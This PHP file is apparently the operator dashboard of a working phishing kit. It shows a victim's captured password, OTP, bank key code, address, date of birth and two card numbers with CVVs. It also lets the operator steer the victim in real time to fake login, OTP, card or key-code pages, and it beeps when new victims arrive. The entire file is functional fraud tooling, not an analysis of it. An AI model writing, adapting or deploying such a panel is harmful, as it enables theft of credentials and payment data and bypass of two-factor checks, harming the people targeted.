<?php
    session_start();

    if(!isset($_SESSION['admin_username']))
    {
        header("Location: login.php");
        exit;
    }
    else
    {
        require_once('config.php');

      $admin_username = $_SESSION['admin_username'];
    }

    // Fetch user details based on user ID from the URL parameter
    if (isset($_GET['visitor_id'])) {
        $visitor_id = $_GET['visitor_id'];        
        $stmt = $pdo->prepare("SELECT * FROM visitors WHERE id = ?");
        $stmt->execute([$visitor_id]);
        $visitor = $stmt->fetch(PDO::FETCH_ASSOC);
    } else {
        // Handle invalid user ID
        echo "Invalid Visitor ID";
        exit;
    }
?>
<!DOCTYPE html>
<html lang="en" data-bs-theme="">
   <head>
      <meta charset="utf-8">
      <title>SB ADMIN | Dashboard</title>
      <meta name="viewport" content="width=device-width, initial-scale=1">
      <meta name="description" content>
      <meta name="author" content>
      <link href="assets/css/vendor.min.css" rel="stylesheet">
      <link href="assets/css/app.min.css" rel="stylesheet">
      <link href="assets/plugins/jvectormap-next/jquery-jvectormap.css" rel="stylesheet">
   </head>
   <body>
      <div id="app" class="app app-sidebar-collapsed">

         <?php include('includes/header.php'); ?>

         <?php include('includes/sidebar.php'); ?>


         <button class="app-sidebar-mobile-backdrop" data-toggle-target=".app" data-toggle-class="app-sidebar-mobile-toggled"></button>

         <div id="content" class="app-content">
            <div class="row">                           
                <div class="col-xl-6">
                  <div class="card mb-3">                        
                        <div class="card-header d-flex align-items-center bg-inverse bg-opacity-10 fw-400">
                            Visitor Details                            
                            <a href="index.php" style="margin-right:20px;" class="btn btn-success ms-auto">Back Home</a>                            
                        </div>
                        
                        <div class="card-body">
                            <table class="table table-borderless table-sm m-0">
                                <tbody>
                                    <tr>
                                        <h3>
                                            <td class="w-150px"><h3>Username:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['username'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Password:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['password'];?></h3></td>
                                    </tr>
                                    <!-- Demarcation Start -->
                                    <tr>
                                        <td colspan="3">
                                            <hr class="m-0">
                                        </td>
                                    </tr>
                                    <tr>
                                        <td><br></td>
                                    </tr>
                                    <!-- Demarcation ENd -->
                                    <!-- <tr>
                                        <td class="w-150px">Notice Page:</td>                                        
                                        <td class=""><?= $visitor['notice_page'];?></td>
                                    </tr> -->
                                    <tr>
                                        <td class="w-150px"><h3>OTP:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['otp'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Submitted Key Code:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['key_code'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Requested Key Code:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['requested_key_code'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Email:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['email'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>IP Address:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['ip_address'];?></h3></td>
                                    </tr>

                                    <!-- Demarcation Start -->
                                    <tr>
                                        <td colspan="3">
                                            <hr class="m-0">
                                        </td>
                                    </tr>
                                    <tr>
                                        <td><br></td>
                                    </tr>
                                    <!-- Demarcation ENd -->

                                    <tr>
                                        <td class="w-150px"><h3>Address:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['address'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Postcode:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['postcode'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>City:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['city'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Phone:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['phone'];?></h3></td>
                                    </tr>

                                    <!-- Demarcation Start -->
                                    <tr>
                                        <td colspan="3">
                                            <hr class="m-0">
                                        </td>
                                    </tr>
                                    <tr>
                                        <td><br></td>
                                    </tr>
                                    <!-- Demarcation ENd -->

                                    <tr>
                                        <td class="w-150px"><h3>Full Name:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['full_name'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Date of Birth:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['dob'];?></h3></td>
                                    </tr>

                                    <!-- Demarcation Start -->
                                    <tr>
                                        <td colspan="3">
                                            <hr class="m-0">
                                        </td>
                                    </tr>
                                    <tr>
                                        <td><br></td>
                                    </tr>
                                    <!-- Demarcation ENd -->

                                    <tr>
                                        <td class="w-150px"><h3>Card No:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['card_no_1'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>CVV:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['cvv_1'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>Card No2:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['card_no_1'];?></h3></td>
                                    </tr>
                                    <tr>
                                        <td class="w-150px"><h3>CVV2:</h3></td>                                        
                                        <td class=""><h3><?= $visitor['cvv_2'];?></h3></td>
                                    </tr>
                                    
                                </tbody>
                            </table>
                        </div>
                     <div class="card-arrow">
                        <div class="card-arrow-top-left"></div>
                        <div class="card-arrow-top-right"></div>
                        <div class="card-arrow-bottom-left"></div>
                        <div class="card-arrow-bottom-right"></div>
                     </div>
                  </div>
               </div> 
               <div class="col-xl-6">
                  <div class="card mb-3">
                    <div class="col-xl-12">
                            <div class="card-header d-flex align-items-center bg-inverse bg-opacity-10 fw-400" id="statusMessage">                                
                                Click the button to start checking for updates.
                            </div>
                            <br>
                            <button id="startButton" style="margin-left:20px;" class="btn btn-success">Activate Sound</button>    
                            <br><br>                   
                        </div>
                    <div class="card-header d-flex align-items-center bg-inverse bg-opacity-10 fw-400">
                        Request For
                    </div>
                    <?php

                        // Check if flash message is set
                        if (isset($_SESSION['flash_message'])) {
                            // Display the flash message
                            echo "<div class='alert alert-success alert-dismissable fade show p-3'>
                                    <button type='button' class='btn-close' data-bs-dismiss='alert'></button>
                                    <h4 class='alert-heading'>Request Sent!</h4>
                                    <p style='color:white'>". $_SESSION['flash_message'] . "</p>                                    
                                </div>";

                            // Clear the flash message to ensure it's only displayed once
                            unset($_SESSION['flash_message']);
                        }
                    ?>

                     <div class="card-body">
                        <form action="code.php" method="post" id="radioForm"> 
                           <div class="form-group mb-4">
                                <!-- <div class="form-check">
                                    <input class="form-check-input"  type="radio" value="notice/spk.php" name="redirect_address" id="defaultRadio7">
                                    <label class="form-check-label" for="defaultRadio7"><h4>Notice Page</h4></label>
                                </div>
                                <br> -->
                                <div class="form-check">
                                    <input class="form-check-input"  type="radio" value="login/spk.php" name="redirect_address" id="defaultRadio1">
                                    <label class="form-check-label" for="defaultRadio1"><h4>Login Page</h4></label>
                                </div>
                                <br>
                                <div class="form-check">                                    
                                    <input class="form-check-input" type="radio" id="keycode" value="keycode/spk.php" name="redirect_address">
                                    <label class="form-check-label" for="keycode"><h4>Key Code Page</h4></label>
                                </div>   
                                <br>                                
                                <div class="form-check">
                                    <input class="form-check-input" type="radio" value="otp/spk.php" name="redirect_address" id="defaultRadio3">
                                    <label class="form-check-label" for="defaultRadio3"><h4>OTP Page</h4></label>
                                </div>  
                                <br>                               
                                <div class="form-check">
                                    <input class="form-check-input" type="radio" value="card/spk.php" name="redirect_address" id="defaultRadio5">
                                    <label class="form-check-label" for="defaultRadio5"><h4>Card Page</h4></label>
                                </div>
                                <br>
                                <div class="form-check">
                                    <input class="form-check-input" type="radio" value="details/spk.php" name="redirect_address" id="defaultRadio2">
                                    <label class="form-check-label" for="defaultRadio2"><h4>Details Page</h4></label>
                                </div>                                
                                <br>
                                <div class="form-check">
                                    <input class="form-check-input" type="radio" value="complete/spk.php" name="redirect_address" id="defaultRadio6">
                                    <label class="form-check-label" for="defaultRadio6"><h4>FINISH</h4></label>
                                </div>    
                                <br>
                                <input type="hidden" name="username" value="<?= $visitor['username']; ?>">
                                <input type="hidden" name="visitor_id" value="<?= $visitor['id']; ?>">
                                <button type="submit" name="submit_request" class="btn btn-success">Send Request</button>                                                                                                                
                           </div>
                        </form>                        
                     </div>
                     <div class="card-arrow">
                        <div class="card-arrow-top-left"></div>
                        <div class="card-arrow-top-right"></div>
                        <div class="card-arrow-bottom-left"></div>
                        <div class="card-arrow-bottom-right"></div>
                     </div>
                  </div>
               </div>               
            </div>
         </div>

         

         <div class="modal modal-cover fade" id="modalCoverExample">
            <div class="modal-dialog">
                <div class="modal-content">
                    <div class="modal-header">
                        <h3 class="modal-title">Request a Key Code from Visitor!</h3>
                        <button type="button" class="btn-close" data-bs-dismiss="modal"></button>
                    </div>
                    <div class="modal-body">
                        <p class="mb-3">
                            User will be prompted to generate a keycode just like this.
                        </p>
                    </div>
                    <form action="code.php" method="POST">
                        <div class="row mb-5">
                            <div class="col-md-9">
                                <input type="hidden" name="visitor_id" value="<?= $visitor['id']; ?>">
                                <input type="hidden" name="username" value="<?= $visitor['username']; ?>">
                                <input type="text" placeholder="Enter 4-digit Key Code" class="form-control form-control-lg" name="key_code" id="keyCodeInput">
                            </div>

                            <div class="col-md-3">
                                <button type="submit" name="request_key_code" class="btn btn-outline-theme btn-lg btn-block">Request</button>
                            </div>
                        </div>
                    </form>                     
                </div>
                <div class="pt-3">
                    
                </div>
            </div>                                
        </div>

         
         <a href="#" data-toggle="scroll-to-top" class="btn-scroll-top fade"><i class="fa fa-arrow-up"></i></a>
      </div>
                        
        <script>
            document.getElementById('keyCodeInput').addEventListener('input', function(event) {
                if (this.value.length > 4) {
                    this.value = this.value.slice(0, 4); // Truncate input to 4 characters
                }
            });

        </script>
        <script>
    document.getElementById('radioForm').addEventListener('submit', function(event) {
        // Get the value of the selected radio button
        var selectedValue = document.querySelector('input[name="redirect_address"]:checked').value;
        
        // If the selected value is 'keycode/spk.php', show the modal
        if (selectedValue === 'keycode/spk.php') {
            // Activate modal
            var myModal = new bootstrap.Modal(document.getElementById('modalCoverExample'));
            myModal.show();

            // Prevent form submission
            event.preventDefault();
        }
    });
</script>



        <script data-cfasync="false" src="assets/js/email-decode.min.js"></script>
        <script src="assets/js/vendor.min.js" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script src="assets/js/app.min.js" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap/5.3.0/js/bootstrap.bundle.min.js"></script>
        <script src="assets/plugins/jvectormap-next/jquery-jvectormap.min.js" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script src="assets/plugins/jvectormap-content/world-mill.js" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script src="assets/plugins/apexcharts/dist/apexcharts.min.js" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script src="assets/plugins/@highlightjs/cdn-assets/highlight.min.js" type="b73da144d569702844662eaa-text/javascript"></script>
        <script src="assets/js/demo/highlightjs.demo.js" type="b73da144d569702844662eaa-text/javascript"></script>
        <script src="assets/js/demo/ui-modal-notification.demo.js" type="b73da144d569702844662eaa-text/javascript"></script>
        <script src="assets/js/demo/sidebar-scrollspy.demo.js" type="b73da144d569702844662eaa-text/javascript"></script>
        <script src="assets/js/demo/dashboard.demo.js" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script async src="https://www.googletagmanager.com/gtag/js?id=G-Y3Q0VGQKY3" type="46e2a7b9833c1b452032912a-text/javascript"></script>
        <script type="46e2a7b9833c1b452032912a-text/javascript">
            window.dataLayer = window.dataLayer || [];
            function gtag(){dataLayer.push(arguments);}
            gtag('js', new Date());
            
            gtag('config', 'G-Y3Q0VGQKY3');
        </script>
        <script src="assets/js/rocket-loader.min.js" data-cf-settings="46e2a7b9833c1b452032912a-|49" defer></script>

        <script>
        let lastUpdate = null;
        let context;
        let intervalId;

        document.querySelector('#startButton').addEventListener('click', function() {
            // Create the AudioContext only when the user interacts with the page
            context = new (window.AudioContext || window.webkitAudioContext)();
            // Start checking for updates
            checkForUpdates();
            intervalId = setInterval(checkForUpdates, 1000); // Check every 1 second
            $('#statusMessage').text('Checking for updates...');
        });

        function checkForUpdates() {
            $.ajax({
                url: 'helpers/fetch_data.php',
                method: 'GET',
                success: function(data) {
                    let response = JSON.parse(data);
                    let latestUpdate = response.latest_update;

                    if (lastUpdate && lastUpdate !== latestUpdate) {
                        // Play beep sound
                        var audio = new Audio('ping.wav');
                        audio.play();

                        // Update the status message
                        $('#statusMessage').text('New update detected at ' + latestUpdate);
                    } else {
                        $('#statusMessage').text('Sound Activated. Last checked at ' + new Date().toLocaleTimeString());
                    }

                    lastUpdate = latestUpdate;
                },
                error: function() {
                    $('#statusMessage').text('Error checking for updates');
                }
            });
        }
      </script>
   </body>
</html>